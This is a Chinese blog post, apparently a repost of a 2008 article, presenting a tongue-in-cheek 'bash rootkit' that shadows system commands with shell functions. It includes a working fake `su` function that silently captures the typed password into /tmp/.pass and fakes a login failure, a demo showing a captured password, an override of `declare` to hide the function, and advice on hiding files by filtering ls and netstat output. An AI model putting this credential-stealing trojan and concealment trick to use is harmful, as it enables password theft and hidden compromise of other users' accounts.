`
blogfeifei
  • 浏览: 1196152 次
文章分类
社区版块
存档分类
最新评论

YY的一个bash rootkit

 
阅读更多

08年的一个文章,最近翻自己BLOG的时候看到的,觉得还蛮有意思的,记录下,有空实现下,就当练shell了。

一个绝对YY的bash rootkit,纯属搞笑性质,各位看官莫要较真。

bash执行命令的流程:别名->函数->内置命令->外部程序。

可以自己构造函数来实现重载掉外部程序的执行。看例子:

[xiaoyu@localdomain ~]$ function su { echo “Hello world”; }
[xiaoyu@localdomain ~]$ su
Hello world
[xiaoyu@localdomain ~]$

执行的是我们定义的函数,实际的/bin/su并没有执行

可以YY个偷密码的function:

[xiaoyu@localdomain tmp]$ function su { echo -n “Password:”; stty -echo; read pass;echo “”; echo $pass >> /tmp/.pass ; sleep 3; echo “su:incorrect password”; stty echo;}
[xiaoyu@localdomain tmp]$ touch /tmp/.pass
[xiaoyu@localdomain tmp]$ chmod a+w /tmp/.pass
[xiaoyu@localdomain tmp]$ su
Password:
su:incorrect password
[xiaoyu@localdomain tmp]$ cat /tmp/.pass
123456
[xiaoyu@localdomain tmp]$

很显然,我上面给出的示例代码不完全,各位想要直接用代码的还得自己改改,比如偷完密码后取消su的函数定义等等。否则每次输入都不对,可就露馅啦,呵呵。

bash有个declare -f 命令,可以查看定义的函数

[xiaoyu@localdomain tmp]$ declare -f
su ()
{
echo -n “Password:”;
stty -echo;
read pass;
echo “”;
echo $pass >> /tmp/.pass;
sleep 3;
echo “su:incorrect password”;
stty echo
}
看见没,全出来了,不过还好bash的执行顺序让我们也可以重载它

[xiaoyu@localdomain ~]$ function declare { echo “Command not found”; }
[xiaoyu@localdomain ~]$ declare -f
Command not found
瞧见没,木有了吧,呵呵。

恩,现在回到标题上来,为什么叫YY bash rootkit?咋没见到rootkit的影子呢?你可以重载ls,netstat ,先执行下二进制文件,把它的执行结果存下来,比如result=`/bin/ls` 然后用个正则过滤下再显示。具体的代码我再这就不给出了。

Bash rootkit的好处是你只有普通用户权限也可以安装,比如我们要在普通用户帐号下藏个文件,放点东西什么的都可以。

恩,就这么多了,下次想起什么再写吧。

分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics